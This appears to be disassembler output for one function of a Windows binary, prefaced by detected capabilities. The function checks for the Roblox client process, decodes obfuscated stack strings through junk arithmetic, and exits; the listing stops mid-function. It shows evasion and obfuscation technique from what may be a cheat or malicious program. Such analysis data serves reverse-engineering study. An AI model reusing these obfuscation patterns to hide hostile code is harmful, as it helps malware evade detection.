Function at 0x1400de390
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x388]
sub rsp, 0x488
xor edi, edi
lea rdx, [rbp + 0x3c8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0x50], rax
mov qword [rdx], rdi
call fcn.1400d40b0
call fcn.1400d73d0
movzx edx, byte [rbp + 0x3d0]
lea rcx, [rsp + 0x68]
call fcn.140020ed0
nop
lea r8d, [rdi + 0x14]
lea rdx, str.RobloxPlayerBeta.exe
lea rcx, [rsp + 0x68]
call fcn.140020ef0
nop
lea rcx, [rsp + 0x68]
call fcn.1400d3fe0
movzx ebx, al
lea rcx, [rsp + 0x68]
call fcn.140020e70
test bl, bl
jne 0x1400df393
mov byte [rbp + 0x2d0], gethostname
mov byte [rbp + 0x2d1], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2d2], 0xda
mov byte [rbp + 0x2d3], Ordinal_200
mov byte [rbp + 0x2d4], 0xcb
mov byte [rbp + 0x2d5], 0xf5
mov byte [rbp + 0x2d6], Ordinal_30
mov byte [rbp + 0x2d7], Ordinal_200
mov byte [rbp + 0x2d8], 0xcb
mov byte [rbp + 0x2d9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x2da], Ordinal_211
mov byte [rbp + 0x2db], Ordinal_200
mov byte [rbp + 0x2dc], Ordinal_200
mov byte [rbp + 0x2dd], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x2de], Ordinal_200
mov byte [rbp + 0x2df], Ordinal_200
mov byte [rbp + 0x2e0], Ordinal_211
mov byte [rbp + 0x2e1], 0xf7
mov byte [rbp + 0x2e2], gethostname
mov byte [rbp + 0x2e3], Ordinal_45
mov byte [rbp + 0x2e4], 0xff
mov byte [rbp + 0x2e5], 0xf9
mov byte [rbp + 0x2e6], 0xef
mov byte [rbp + 0x2e7], 0xfd
mov byte [rbp + 0x2e8], 0xfa
mov byte [rbp + 0x2e9], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x2ea], reloc.WS2_32.dll_select
mov byte [rbp + 0x2eb], 0xf2
mov byte [rbp + 0x2ec], 0xe0
mov byte [rbp + 0x2ed], 0xf9
mov byte [rbp + 0x2ee], 0xf5
mov byte [rbp + 0x2ef], Ordinal_211
mov byte [rbp + 0x2f0], Ordinal_41
mov byte [rbp + 0x2f1], 0xff
mov byte [rbp + 0x2f2], 0xe9
mov byte [rbp + 0x2f3], 0xe9
mov byte [rbp + 0x2f4], Ordinal_60
mov byte [rbp + 0x2f5], 3
mov byte [rbp + 0x2f6], 0xfb
mov byte [rbp + 0x2f7], Ordinal_217
mov byte [rbp + 0x2f8], 0xe9
mov byte [rbp + 0x2f9], 0xe3
mov byte [rbp + 0x2fa], Ordinal_50
mov byte [rbp + 0x2fb], 0xe7
mov byte [rbp + 0x2fc], 0xe3
mov byte [rbp + 0x2fd], gethostname
mov byte [rbp + 0x2fe], 0xdd
mov byte [rbp + 0x2ff], 0xe6
mov byte [rbp + 0x300], 0xe4
mov byte [rbp + 0x301], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x302], 0xcb
mov byte [rbp + 0x303], 0xab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x304], xmm0
mov word [rbp + 0x314], ax
movabs rdi, 0x4ef20d8fb49463fb
movabs rsi, 0x5fe0a2e7f4687d65
movabs rdx, 0x13318e7aa6d0009c
movabs r15, 0x5917b780bf74c7cf
movabs r14, 0xadb133e6757eedc7
movabs r12, 0xfb81c4e4f6955e29
movabs r13, 0xc560fd7c25b9903a
movzx r10d, byte [rbp + 0x3d0]
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor ebx, ebx
cmp rbx, 0x46
jae 0x1400df359
movzx r11d, byte [rbp + rbx + 0x2d0]
cmp r8, rbx
ja 0x1400df350
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400de653
lea rcx, [rbx + r15]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x57
add r10b, cl
jmp 0x1400de680
je 0x1400df2bd
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400df242
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400df1fc
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400df1c7
cmp r9, rbx
ja 0x1400df347
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400de6ae
lea rcx, [rbx + rdi]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x23
add r10b, cl
jmp 0x1400de6e2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400df170
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400df14b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400df126
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400df0fe
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400ded3f
nop
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400ded19
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400decdd
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400deca8
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dec85
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400dec5c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400dec37
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400dec11
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400debe8
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400debc3
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400de6f0
lea r8, [r9 + 0x10]
lea r9, [r8 + 6]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400df322
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400df2fd
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400de8e2
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400de8c3
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400de8a4
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400deb5b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400deafc
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400deaa9
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400dea6f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400de6f0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400dea4a
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400dea21
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400de9fb
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400de9d6
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400de9ad
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400de98a
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400de95e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400de92b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400de901
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400de6f0
lea r8, [r9 + 2]
lea r9, [r8 + 0x41]
jmp 0x1400de6f0
lea rcx, [rbx + rsi]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3d
add r10b, cl
jmp 0x1400de6e2
lea rcx, [rbx + r14]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x71
add r10b, cl
jmp 0x1400de680
lea rcx, [rbx + r12]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
add r10b, cl
jmp 0x1400de625
movabs rcx, 0x77906c7da4a31fd8
add rcx, rbx
movzx eax, r11b
and al, cl
mov r10d, recvfrom
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
jmp 0x1400df193
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
lea rcx, [rbx + rdx]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x44
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rdx, 0x61021f7927e670fe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400df0b0
movabs rdx, 0xaed2b077a8fce160
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400df21c
movabs rcx, 0xfca341762a1351c2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4e
jmp 0x1400df21f
movabs rdx, 0x4a73d274ab29c224
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400df262
movabs rdx, 0x984463732c403286
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400df28e
movabs rcx, 0xe614f471ad56a2e8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
jmp 0x1400df2dd
movabs rcx, 0x289e5eedf00ebbdd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xb
mov byte [rbp + rbx + 0x2d0], r10b
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rdx, 0x766eefec71252c3f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x47
add r10b, dl
cmp r9, 0x28
jb 0x1400dea8f
movabs rcx, 0x7f731d4c48879c7a
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, r11b
add dl, cl
lea r10d, [rdx + rdx]
jmp 0x1400df193
movabs rdx, 0xc43f80eaf23b9ca1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x67
add r10b, dl
cmp r8, 0x5a
jae 0x1400df08f
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400def95
movabs rdx, 0x8998c73d5368004e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
jmp 0x1400deac9
movabs rdx, 0x121011e973520d03
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x15
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400df0db
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400dee6b
movabs rdx, 0x3aa6b9ad9ed39c53
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x45
jmp 0x1400deb1c
movabs rcx, 0xd9ac515e3b7a57e2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
jmp 0x1400df2dd
movabs rdx, 0x277ce25cbc90c844
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400df28e
movabs rdx, 0x754d735b3da738a6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400df262
movabs rcx, 0xc31e0459bebda908
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
jmp 0x1400df21f
movabs rdx, 0x10ee95583fd4196a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400df21c
movabs rdx, 0x5ebf2656c0ea89cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400df0b0
movabs rcx, 0xac8fb7554200fa2e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x42
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rdx, 0xfa604853c3176a90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rdx, 0x4830d952442ddaf2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400df190
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400ded64
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x57
jmp 0x1400deb7b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ded96
movabs rdx, 0x9de41b1f6928c7f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400df2dd
inc rax
cmp r8, rax
jne 0x1400dedc6
movabs rdx, 0x50138a20e8125794
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x1400df28e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dedf4
movabs rcx, 0x66a1d72564cf066e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
jmp 0x1400df21c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dee39
movabs rdx, 0x7d302429e18bb548
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400deb7e
movabs rdx, 0x2f5f932b607544e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
jmp 0x1400df190
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dee99
movabs rdx, 0xecd628af1dbd2bf1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x69
jmp 0x1400df190
inc rax
cmp r8, rax
jne 0x1400deed6
movabs rcx, 0x513506b21b904b2d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3b
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400def04
movabs rcx, 0x67c353b6984cfa07
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x31
jmp 0x1400df21f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400def32
movabs rdx, 0x19f2c2b8173689a5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7d
jmp 0x1400df262
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400def63
movabs rdx, 0xcc2231b996201943
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2b
add r10b, dl
jmp 0x1400df28e
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400deb1f
movabs rcx, 0x7e51a0bb1509a8e1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x27
jmp 0x1400df2dd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400defc3
movabs rcx, 0x3bc8363ed2518fec
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
jmp 0x1400df2dd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400deff1
movabs rdx, 0xa0271441d024af28
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
jmp 0x1400df262
cmp r8, rcx
jne 0x1400df01f
movabs rdx, 0x485f244cdf7ce64
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400df21c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400df05d
movabs rcx, 0x68e4d047cbcaeda0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400deacc
movabs rdx, 0xcd43ae4ac99e0cdc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
jmp 0x1400df190
movabs rdx, 0x31a28c4dc7712c18
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, r11b
add r10b, dl
lea ecx, [rbx - 0x19]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x51
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x2d0], r11b
jmp 0x1400df21c
movabs rdx, 0xe3d1fb4f465abbb6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400df262
movabs rdx, 0xe06d859babe0e0eb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6d
add r10b, dl
jmp 0x1400df28e
movabs rdx, 0x2e3e169a2cf7514d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1b
jmp 0x1400df262
movabs rcx, 0xc9df38972f243211
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x77
jmp 0x1400df21c
movabs rdx, 0x1217c91337df399
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2f
add r10b, dl
lea ecx, [rbx + 0x49]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
inc r11b
add r11b, cl
mov byte [rbp + rbx + 0x2d0], r11b
inc r9
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rcx, 0x3863c08b37d7b521
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x19
dec rbx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rcx, 0xd404e2883a0495e5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x43
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rdx, 0x6fa604853c3176a9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x61
add r10b, dl
lea edx, [rbx - 0x7b]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x5d
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x2d0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x54]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, cl
mov byte [rbp + rbx + 0x2d0], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x1400df2dd
movabs rcx, 0xb4726823e5e576d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 5
movzx eax, byte [rbp + rbx + 0x2d0]
add rax, r9
add rbx, rax
inc rbx
movabs rdx, 0x13318e7aa6d0009c
jmp 0x1400de612
movabs rcx, 0x495255e377abce8b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x33
jmp 0x1400de610
movabs rcx, 0x9722e6e1f8c23eed
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7b
jmp 0x1400de600
lea rcx, [rbp + 0x17641e4]
jmp 0x1400df360
lea rcx, [rbp + 0x12b09b3]
jmp 0x1400df360
lea rcx, [rbp + 0x2d0]
call fcn.140048e00
mov dword [rbp + 0x3d0], 1
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x3d8]
call fcn.14001f5a0
mov rcx, rax
call fcn.1400f0ac0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1b1], 0xf5
mov byte [rbp + 0x1b2], 0xf6
mov byte [rbp + 0x1b3], 0xf3
mov byte [rbp + 0x1b4], 0xf7
mov byte [rbp + 0x1b5], 0xbf
mov byte [rbp + 0x1b6], Ordinal_143
mov byte [rbp + 0x1b7], 0x88
mov byte [rbp + 0x1b8], Ordinal_200
mov byte [rbp + 0x1b9], 0xcc
mov byte [rbp + 0x1ba], 0xf3
mov byte [rbp + 0x1bb], 0x85
mov byte [rbp + 0x1bc], Ordinal_200
mov byte [rbp + 0x1bd], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1be], 0xf4
mov byte [rbp + 0x1bf], 0xfa
mov byte [rbp + 0x1c0], Ordinal_200
mov byte [rbp + 0x1c1], 0xbf
mov byte [rbp + 0x1c2], 0xfb
mov byte [rbp + 0x1c3], 0xfc
mov byte [rbp + 0x1c4], 0xbb
mov byte [rbp + 0x1c5], 0x55
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c6], xmm0
mov qword [rbp + 0x1d6], rax
mov word [rbp + 0x1de], ax
movabs r12, 0x1b8ec08e91081350
movabs r13, 0x5e7286ae4471a290
movzx r11d, byte [rbp + 0x3d0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov r10, rdi
movabs rcx, 0x56a5461f2b7a4a10
cmp r10, 0x30
jae 0x1400dfce1
movzx esi, byte [rbp + r10 + 0x1b0]
movzx ebx, sil
nop dword [rax]
nop dword [rax + rax]
movzx r15d, bl
cmp r8, r10
ja 0x1400dfcd8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400df4df
add rcx, r10
mov rax, rsi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rsi
add r11, rcx
sub r11b, 0x70
jmp 0x1400df4f1
je 0x1400dfc4d
inc rax
cmp r8, rax
je 0x1400dfbe9
movzx ebx, sil
cmp r9, r10
ja 0x1400dfccf
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400df526
lea rdx, [r10 + r12]
movzx eax, sil
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x1400df566
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dfba2
inc rax
cmp r8, rax
je 0x1400dfb70
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dfb41
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dfb09
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dfab9
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r10
jbe 0x1400df75b
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400df737
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400df70e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400df6df
mov r8, rax
lea r9, [rax + 1]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400dfca9
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400dfc83
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x1400df630
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400df610
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400df6a9
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400df685
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400df662
mov r8, rax
lea r9, [rax + 1]
jmp 0x1400df580
lea rdx, [r10 + r13]
movzx eax, sil
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400df4f5
movabs rdx, 0xb127fa6fed7d0e70
add rdx, r10
movzx eax, sil
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
add r11b, dl
movabs rcx, 0x56a5461f2b7a4a10
jmp 0x1400df4b0
movabs rax, 0xccb6bafe7e8521c0
add rax, r10
and sil, al
add sil, sil
sub bl, sil
lea r11d, [rax + rbx]
sub r11b, 0x40
jmp 0x1400dfad8
movabs rcx, 0x1f6c2ec027908da0
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x1400dfc08
movabs rcx, 0x7221a281d09bf980
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r9
add r10, rax
inc r10
jmp 0x1400df483
movabs rcx, 0x959939e15c74fb20
add rcx, r10
movzx eax, cl
and al, sil
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
dec r10
inc r10
jmp 0x1400df483
movabs rcx, 0xe84eada305806700
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec r10
inc r10
jmp 0x1400df483
movabs rcx, 0x3b042164ae8bd2e0
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400dfbc1
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400df833
movabs rcx, 0x56a5461f2b7a4a10
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400dfa95
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400df8d1
movabs rcx, 0xa561b56d5c23a5d0
add rcx, r10
movzx eax, cl
and al, sil
mov edx, Ordinal_41
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
cmp r8, 4
jae 0x1400dfa4a
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400df967
movabs rcx, 0xc0f075fbed2bb920
add rcx, r10
movzx eax, cl
and al, sil
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, bl
cmp r9, 4
jb 0x1400dfa3a
movabs rcx, 0x85d9f06b52b98260
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x40]
jmp 0x1400dfbc1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400df872
movabs rcx, 0x371d811d221026a0
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + r10 + 0x1b0]
add rax, r9
add r10, rax
inc r10
jmp 0x1400df483
inc rax
cmp r8, rax
jne 0x1400df89e
movabs rcx, 0xe4680d5b7904bac0
add rcx, r10
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400dfc08
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400df787
movabs rcx, 0x99923e54d4d70b40
add rcx, r10
movzx eax, cl
and al, sil
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
jmp 0x1400dfa69
jne 0x1400df8fc
